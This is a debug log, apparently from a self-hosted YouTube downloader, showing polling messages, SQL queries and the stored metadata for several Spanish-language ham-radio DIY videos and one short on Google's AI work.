[debug] Current batch of media processed. Will check again in 1000ms 22:48:02.225 [debug] Current batch of media processed. Will check again in 1000ms 22:48:02.303 [debug] Current batch of media processed. Will check again in 1000ms 22:48:03.227 [debug] Current batch of media processed. Will check again in 1000ms 22:48:03.304 [debug] Current batch of media processed. Will check again in 1000ms 22:48:04.228 [debug] Current batch of media processed. Will check again in 1000ms 22:48:04.305 [debug] Current batch of media processed. Will check again in 1000ms 22:48:05.229 [debug] Current batch of media processed. Will check again in 1000ms 22:48:05.306 [debug] Current batch of media processed. Will check again in 1000ms 22:48:06.230 [debug] Current batch of media processed. Will check again in 1000ms 22:48:06.307 [debug] Current batch of media processed. Will check again in 1000ms 22:48:07.231 [debug] Current batch of media processed. Will check again in 1000ms 22:48:07.308 [debug] Current batch of media processed. Will check again in 1000ms 22:48:08.232 [debug] Current batch of media processed. Will check again in 1000ms 22:48:08.309 [debug] Current batch of media processed. Will check again in 1000ms 22:48:09.233 [debug] Current batch of media processed. Will check again in 1000ms 22:48:09.310 [debug] Current batch of media processed. Will check again in 1000ms 22:48:10.234 [debug] Current batch of media processed. Will check again in 1000ms 22:48:10.311 [debug] Current batch of media processed. Will check again in 1000ms 22:48:11.235 [debug] Current batch of media processed. Will check again in 1000ms 22:48:11.312 [debug] Current batch of media processed. Will check again in 1000ms 22:48:12.236 [debug] Current batch of media processed. Will check again in 1000ms 22:48:12.314 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "En este video os muestro como fabricarse uno mismo un distribuidor de corriente usando Powerpoles, con fusible y con indicación de fusible fundido. Es parte del montaje de un equipo de radioaficionado en rack que estoy preparando. Espero os resulte interesante.\n\n\nLos conectores powerpole los he comprado aqui:\nhttps://www.amazon.es/dp/B07H7ZJSXT\n\n\nLos portafusibles aqui:\nhttps://www.amazon.es/dp/B0CDQ4LF9B\n\n\nModelo 3D para los fusibles:\nhttps://www.thingiverse.com/thing:2853020\no\nhttps://www.thingiverse.com/thing:232216\n\n\no si quereis el modelo que he hecho yo, me pasais dos líneas por email y os mando los dos ficheros .stl.\n\n\n\n\n\n\n Contenido del video \n \n00:00 - Presentación\n01:07 - Intro canal\n01:25 - Detector de fusible fundido\n05:42 - Planteando montaje\n06:45 - Montando el detector\n09:33 - Ensamblando tapa\n10:23 - Probando funcionalidad\n12:28 - Estructura montada\n13:36 - Conclusiones\n\n\n\n\n#powerpole #distribuidor #radioaficionados #fusible #led #hamradio #diyelectronics #ure\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 941, "filename" => "/downloads/music/ea3grn/120 - DISTRIBUIDOR POWERPOLE CON DETECTOR DE FUSIBLE FUNDIDO.m4a", "id" => "h4xfePfvO2w", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=h4xfePfvO2w", "playlist_index" => 61, "timestamp" => 1700153470, "title" => "120 - DISTRIBUIDOR POWERPOLE CON DETECTOR DE FUSIBLE FUNDIDO", "upload_date" => "20231116"} 22:48:12.315 [debug] QUERY OK source="sources" db=0.5ms idle=547.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:48:12.317 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=549.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:48:12.318 [debug] QUERY OK source="media_items" db=0.7ms idle=550.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-16 16:51:10Z], 3] 22:48:12.321 [debug] QUERY OK source="media_items" db=1.4ms idle=552.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["En este video os muestro como fabricarse uno mismo un distribuidor de corriente usando Powerpoles, con fusible y con indicación de fusible fundido. Es parte del montaje de un equipo de radioaficionado en rack que estoy preparando. Espero os resulte interesante.\n\n\nLos conectores powerpole los he comprado aqui:\nhttps://www.amazon.es/dp/B07H7ZJSXT\n\n\nLos portafusibles aqui:\nhttps://www.amazon.es/dp/B0CDQ4LF9B\n\n\nModelo 3D para los fusibles:\nhttps://www.thingiverse.com/thing:2853020\no\nhttps://www.thingiverse.com/thing:232216\n\n\no si quereis el modelo que he hecho yo, me pasais dos líneas por email y os mando los dos ficheros .stl.\n\n\n\n\n\n\n Contenido del video \n \n00:00 - Presentación\n01:07 - Intro canal\n01:25 - Detector de fusible fundido\n05:42 - Planteando montaje\n06:45 - Montando el detector\n09:33 - Ensamblando tapa\n10:23 - Probando funcionalidad\n12:28 - Estructura montada\n13:36 - Conclusiones\n\n\n\n\n#powerpole #distribuidor #radioaficionados #fusible #led #hamradio #diyelectronics #ure\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "120 - DISTRIBUIDOR POWERPOLE CON DETECTOR DE FUSIBLE FUNDIDO", "aa3d227d-5080-4b83-a749-2ae0663f655f", 941, false, "h4xfePfvO2w", "https://www.youtube.com/watch?v=h4xfePfvO2w", 61, "/downloads/music/ea3grn/120 - DISTRIBUIDOR POWERPOLE CON DETECTOR DE FUSIBLE FUNDIDO.m4a", false, false, false, 3, [], 98, ~U[2023-11-16 16:51:10Z], ~U[2026-02-07 21:48:12Z], ~U[2026-02-07 21:48:12Z], "En este video os muestro como fabricarse uno mismo un distribuidor de corriente usando Powerpoles, con fusible y con indicación de fusible fundido. Es parte del montaje de un equipo de radioaficionado en rack que estoy preparando. Espero os resulte interesante.\n\n\nLos conectores powerpole los he comprado aqui:\nhttps://www.amazon.es/dp/B07H7ZJSXT\n\n\nLos portafusibles aqui:\nhttps://www.amazon.es/dp/B0CDQ4LF9B\n\n\nModelo 3D para los fusibles:\nhttps://www.thingiverse.com/thing:2853020\no\nhttps://www.thingiverse.com/thing:232216\n\n\no si quereis el modelo que he hecho yo, me pasais dos líneas por email y os mando los dos ficheros .stl.\n\n\n\n\n\n\n Contenido del video \n \n00:00 - Presentación\n01:07 - Intro canal\n01:25 - Detector de fusible fundido\n05:42 - Planteando montaje\n06:45 - Montando el detector\n09:33 - Ensamblando tapa\n10:23 - Probando funcionalidad\n12:28 - Estructura montada\n13:36 - Conclusiones\n\n\n\n\n#powerpole #distribuidor #radioaficionados #fusible #led #hamradio #diyelectronics #ure\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "120 - DISTRIBUIDOR POWERPOLE CON DETECTOR DE FUSIBLE FUNDIDO", 941, false, "h4xfePfvO2w", "https://www.youtube.com/watch?v=h4xfePfvO2w", "/downloads/music/ea3grn/120 - DISTRIBUIDOR POWERPOLE CON DETECTOR DE FUSIBLE FUNDIDO.m4a", false, 3, ~U[2023-11-16 16:51:10Z]] 22:48:12.321 [debug] QUERY OK source="sources" db=0.5ms idle=327.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:48:12.322 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:48:12.323 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1421] 22:48:12.323 [debug] Current batch of media processed. Will check again in 1000ms 22:48:13.237 [debug] Current batch of media processed. Will check again in 1000ms 22:48:13.324 [debug] Current batch of media processed. Will check again in 1000ms 22:48:14.238 [debug] Current batch of media processed. Will check again in 1000ms 22:48:14.325 [debug] Current batch of media processed. Will check again in 1000ms 22:48:15.239 [debug] Current batch of media processed. Will check again in 1000ms 22:48:15.326 [debug] Current batch of media processed. Will check again in 1000ms 22:48:16.240 [debug] Current batch of media processed. Will check again in 1000ms 22:48:16.327 [debug] Current batch of media processed. Will check again in 1000ms 22:48:17.241 [debug] Current batch of media processed. Will check again in 1000ms 22:48:17.328 [debug] Current batch of media processed. Will check again in 1000ms 22:48:18.242 [debug] Current batch of media processed. Will check again in 1000ms 22:48:18.329 [debug] Current batch of media processed. Will check again in 1000ms 22:48:19.243 [debug] Current batch of media processed. Will check again in 1000ms 22:48:19.330 [debug] Current batch of media processed. Will check again in 1000ms 22:48:20.244 [debug] Current batch of media processed. Will check again in 1000ms 22:48:20.331 [debug] Current batch of media processed. Will check again in 1000ms 22:48:21.245 [debug] Current batch of media processed. Will check again in 1000ms 22:48:21.273 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:21.332 [debug] Current batch of media processed. Will check again in 1000ms 22:48:22.246 [debug] Current batch of media processed. Will check again in 1000ms 22:48:22.333 [debug] Current batch of media processed. Will check again in 1000ms 22:48:23.247 [debug] Current batch of media processed. Will check again in 1000ms 22:48:23.334 [debug] Current batch of media processed. Will check again in 1000ms 22:48:24.248 [debug] Current batch of media processed. Will check again in 1000ms 22:48:24.335 [debug] Current batch of media processed. Will check again in 1000ms 22:48:25.249 [debug] Current batch of media processed. Will check again in 1000ms 22:48:25.336 [debug] Current batch of media processed. Will check again in 1000ms 22:48:26.250 [debug] Current batch of media processed. Will check again in 1000ms 22:48:26.337 [debug] Current batch of media processed. Will check again in 1000ms 22:48:27.251 [debug] Current batch of media processed. Will check again in 1000ms 22:48:27.338 [debug] Current batch of media processed. Will check again in 1000ms 22:48:28.252 [debug] Current batch of media processed. Will check again in 1000ms 22:48:28.339 [debug] Current batch of media processed. Will check again in 1000ms 22:48:29.253 [debug] Current batch of media processed. Will check again in 1000ms 22:48:29.340 [debug] Current batch of media processed. Will check again in 1000ms 22:48:30.254 [debug] Current batch of media processed. Will check again in 1000ms 22:48:30.341 [debug] Current batch of media processed. Will check again in 1000ms 22:48:31.255 [debug] Current batch of media processed. Will check again in 1000ms 22:48:31.342 [debug] Current batch of media processed. Will check again in 1000ms 22:48:32.256 [debug] Current batch of media processed. Will check again in 1000ms 22:48:32.343 [debug] Current batch of media processed. Will check again in 1000ms 22:48:33.257 [debug] Current batch of media processed. Will check again in 1000ms 22:48:33.344 [debug] Current batch of media processed. Will check again in 1000ms 22:48:34.258 [debug] Current batch of media processed. Will check again in 1000ms 22:48:34.345 [debug] Current batch of media processed. Will check again in 1000ms 22:48:35.259 [debug] Current batch of media processed. Will check again in 1000ms 22:48:35.346 [debug] Current batch of media processed. Will check again in 1000ms 22:48:36.260 [debug] Current batch of media processed. Will check again in 1000ms 22:48:36.347 [debug] Current batch of media processed. Will check again in 1000ms 22:48:37.261 [debug] Current batch of media processed. Will check again in 1000ms 22:48:37.348 [debug] Current batch of media processed. Will check again in 1000ms 22:48:38.262 [debug] Current batch of media processed. Will check again in 1000ms 22:48:38.349 [debug] Current batch of media processed. Will check again in 1000ms 22:48:39.263 [debug] Current batch of media processed. Will check again in 1000ms 22:48:39.350 [debug] Current batch of media processed. Will check again in 1000ms 22:48:40.264 [debug] Current batch of media processed. Will check again in 1000ms 22:48:40.351 [debug] Current batch of media processed. Will check again in 1000ms 22:48:41.265 [debug] Current batch of media processed. Will check again in 1000ms 22:48:41.352 [debug] Current batch of media processed. Will check again in 1000ms 22:48:42.266 [debug] Current batch of media processed. Will check again in 1000ms 22:48:42.353 [debug] Current batch of media processed. Will check again in 1000ms 22:48:43.267 [debug] Current batch of media processed. Will check again in 1000ms 22:48:43.354 [debug] Current batch of media processed. Will check again in 1000ms 22:48:44.268 [debug] Current batch of media processed. Will check again in 1000ms 22:48:44.355 [debug] Current batch of media processed. Will check again in 1000ms 22:48:45.269 [debug] Current batch of media processed. Will check again in 1000ms 22:48:45.356 [debug] Current batch of media processed. Will check again in 1000ms 22:48:46.270 [debug] Current batch of media processed. Will check again in 1000ms 22:48:46.357 [debug] Current batch of media processed. Will check again in 1000ms 22:48:47.271 [debug] Current batch of media processed. Will check again in 1000ms 22:48:47.358 [debug] Current batch of media processed. Will check again in 1000ms 22:48:48.272 [debug] Current batch of media processed. Will check again in 1000ms 22:48:48.359 [debug] Current batch of media processed. Will check again in 1000ms 22:48:49.273 [debug] Current batch of media processed. Will check again in 1000ms 22:48:49.360 [debug] Current batch of media processed. Will check again in 1000ms 22:48:50.274 [debug] Current batch of media processed. Will check again in 1000ms 22:48:50.361 [debug] Current batch of media processed. Will check again in 1000ms 22:48:51.275 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:51.275 [debug] Current batch of media processed. Will check again in 1000ms 22:48:51.362 [debug] Current batch of media processed. Will check again in 1000ms 22:48:52.276 [debug] Current batch of media processed. Will check again in 1000ms 22:48:52.366 [debug] Current batch of media processed. Will check again in 1000ms 22:48:53.277 [debug] Current batch of media processed. Will check again in 1000ms 22:48:53.367 [debug] Current batch of media processed. Will check again in 1000ms 22:48:54.278 [debug] Current batch of media processed. Will check again in 1000ms 22:48:54.368 [debug] Current batch of media processed. Will check again in 1000ms 22:48:55.279 [debug] Current batch of media processed. Will check again in 1000ms 22:48:55.369 [debug] Current batch of media processed. Will check again in 1000ms 22:48:56.280 [debug] Current batch of media processed. Will check again in 1000ms 22:48:56.370 [debug] Current batch of media processed. Will check again in 1000ms 22:48:57.281 [debug] Current batch of media processed. Will check again in 1000ms 22:48:57.371 [debug] Current batch of media processed. Will check again in 1000ms 22:48:58.282 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 3: TEXTO A AUDIO 2.0: Exploramos la presencia de Google en la IA, desde sus contribuciones históricas hasta su posición actual. Analizamos Notebook LM como ejemplo de sus capacidades. ¡Descubre cómo Google influye en el desarrollo de la inteligencia artificial y qué le depara el futuro! #GoogleIA #InteligenciaArtificial #NotebookLM #InnovaciónGoogle #Tecnología #DesarrolloIA #LLMs #IngenierosIA #FuturoIA #AnálisisInformación", "duration" => 38, "filename" => "/downloads/music/IA mí QUÉ/Google IA: ¿Por qué NO Hablamos de Ellos?.m4a", "id" => "KPJv84R6gBA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/KPJv84R6gBA", "playlist_index" => 7, "timestamp" => 1748077349, "title" => "Google IA: ¿Por qué NO Hablamos de Ellos?", "upload_date" => "20250524"} 22:48:58.283 [debug] QUERY OK source="sources" db=0.6ms idle=1516.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:48:58.284 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1201.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:48:58.285 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=518.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-24 09:02:29Z], 2] 22:48:58.287 [debug] QUERY OK source="media_items" db=0.9ms idle=519.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 3: TEXTO A AUDIO 2.0: Exploramos la presencia de Google en la IA, desde sus contribuciones históricas hasta su posición actual. Analizamos Notebook LM como ejemplo de sus capacidades. ¡Descubre cómo Google influye en el desarrollo de la inteligencia artificial y qué le depara el futuro! #GoogleIA #InteligenciaArtificial #NotebookLM #InnovaciónGoogle #Tecnología #DesarrolloIA #LLMs #IngenierosIA #FuturoIA #AnálisisInformación", "Google IA: ¿Por qué NO Hablamos de Ellos?", "ef85fceb-93a2-40e3-93da-5d479298877b", 38, false, "KPJv84R6gBA", "https://www.youtube.com/shorts/KPJv84R6gBA", 7, "/downloads/music/IA mí QUÉ/Google IA: ¿Por qué NO Hablamos de Ellos?.m4a", false, false, true, 2, [], 96, ~U[2025-05-24 09:02:29Z], ~U[2026-02-07 21:48:58Z], ~U[2026-02-07 21:48:58Z], "PARTE 3: TEXTO A AUDIO 2.0: Exploramos la presencia de Google en la IA, desde sus contribuciones históricas hasta su posición actual. Analizamos Notebook LM como ejemplo de sus capacidades. ¡Descubre cómo Google influye en el desarrollo de la inteligencia artificial y qué le depara el futuro! #GoogleIA #InteligenciaArtificial #NotebookLM #InnovaciónGoogle #Tecnología #DesarrolloIA #LLMs #IngenierosIA #FuturoIA #AnálisisInformación", "Google IA: ¿Por qué NO Hablamos de Ellos?", 38, false, "KPJv84R6gBA", "https://www.youtube.com/shorts/KPJv84R6gBA", "/downloads/music/IA mí QUÉ/Google IA: ¿Por qué NO Hablamos de Ellos?.m4a", true, 2, ~U[2025-05-24 09:02:29Z]] 22:48:58.287 [debug] QUERY OK source="sources" db=0.4ms idle=203.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:48:58.288 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:48:58.289 [debug] QUERY OK source="media_items" db=0.5ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1378] 22:48:58.289 [debug] Current batch of media processed. Will check again in 1000ms 22:48:58.372 [debug] Current batch of media processed. Will check again in 1000ms 22:48:59.290 [debug] Current batch of media processed. Will check again in 1000ms 22:48:59.373 [debug] Current batch of media processed. Will check again in 1000ms 22:49:00.131 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:49:00.291 [debug] Current batch of media processed. Will check again in 1000ms 22:49:00.374 [debug] Current batch of media processed. Will check again in 1000ms 22:49:01.292 [debug] Current batch of media processed. Will check again in 1000ms 22:49:01.375 [debug] Current batch of media processed. Will check again in 1000ms 22:49:02.293 [debug] Current batch of media processed. Will check again in 1000ms 22:49:02.376 [debug] Current batch of media processed. Will check again in 1000ms 22:49:03.294 [debug] Current batch of media processed. Will check again in 1000ms 22:49:03.377 [debug] Current batch of media processed. Will check again in 1000ms 22:49:04.295 [debug] Current batch of media processed. Will check again in 1000ms 22:49:04.378 [debug] Current batch of media processed. Will check again in 1000ms 22:49:05.296 [debug] Current batch of media processed. Will check again in 1000ms 22:49:05.379 [debug] Current batch of media processed. Will check again in 1000ms 22:49:06.297 [debug] Current batch of media processed. Will check again in 1000ms 22:49:06.380 [debug] Current batch of media processed. Will check again in 1000ms 22:49:07.298 [debug] Current batch of media processed. Will check again in 1000ms 22:49:07.381 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Montar una placa de buffer para el control CAT de los acopladores N7DDC (ATU100) desde los equipos ICOM.\n\nKits N7DDC (a modo de ejemplo):\n\nhttps://www.amazon.es/Sintonizador-Antena-autom%C3%A1tico-ATU-100-N7DDC/dp/B09M3GH83D\nhttps://es.aliexpress.com/item/4000804507384.html\n\nPlaca control CAT para equipos Icom:\n\nhttps://www.amazon.es/Durratou-ATU-100-IC-7300-Placa-Expansi%C3%B3n/dp/B0CJMBVFBK\nhttps://www.amazon.es/y-luck-Tarjeta-Expansi%C3%B3N-ATU-100-IC-7300/dp/B0CHYYC3PD\nhttps://es.aliexpress.com/item/1005002658650559.html\n\n\n\n Contenido del video ------------------------------\n00:00 - Presentación\n00:53 - Intro canal\n01:11 - Como interfasar\n03:03 - Placa interface\n07:58 - Cables bajo placa\n08:34 - Placa en caja\n10:32 - Conectando líneas\n13:04 - Conexión a equipos Icom\n15:02 - Conectando acoplador e IC705\n15:52 - Puesta en marcha\n17:40 - Acoplando\n20:40 - Conclusiones\n\n\n#n7ddc #atu100 #ic705 #hamradio #radioafición #cacharreo #diyelectronics #cat \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1331, "filename" => "/downloads/music/ea3grn/119 - ATU100 CON CONTROL CAT IC705 ICOM N7DDC.m4a", "id" => "T1L-jleMbK0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=T1L-jleMbK0", "playlist_index" => 62, "timestamp" => 1699545321, "title" => "119 - ATU100 CON CONTROL CAT IC705 ICOM N7DDC", "upload_date" => "20231109"} 22:49:07.382 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1615.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:49:07.383 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1616.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:49:07.384 [debug] QUERY OK source="media_items" db=0.7ms idle=1616.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-09 15:55:21Z], 3] 22:49:07.386 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=1287.8ms INSERT INTO "media_items" AS m0 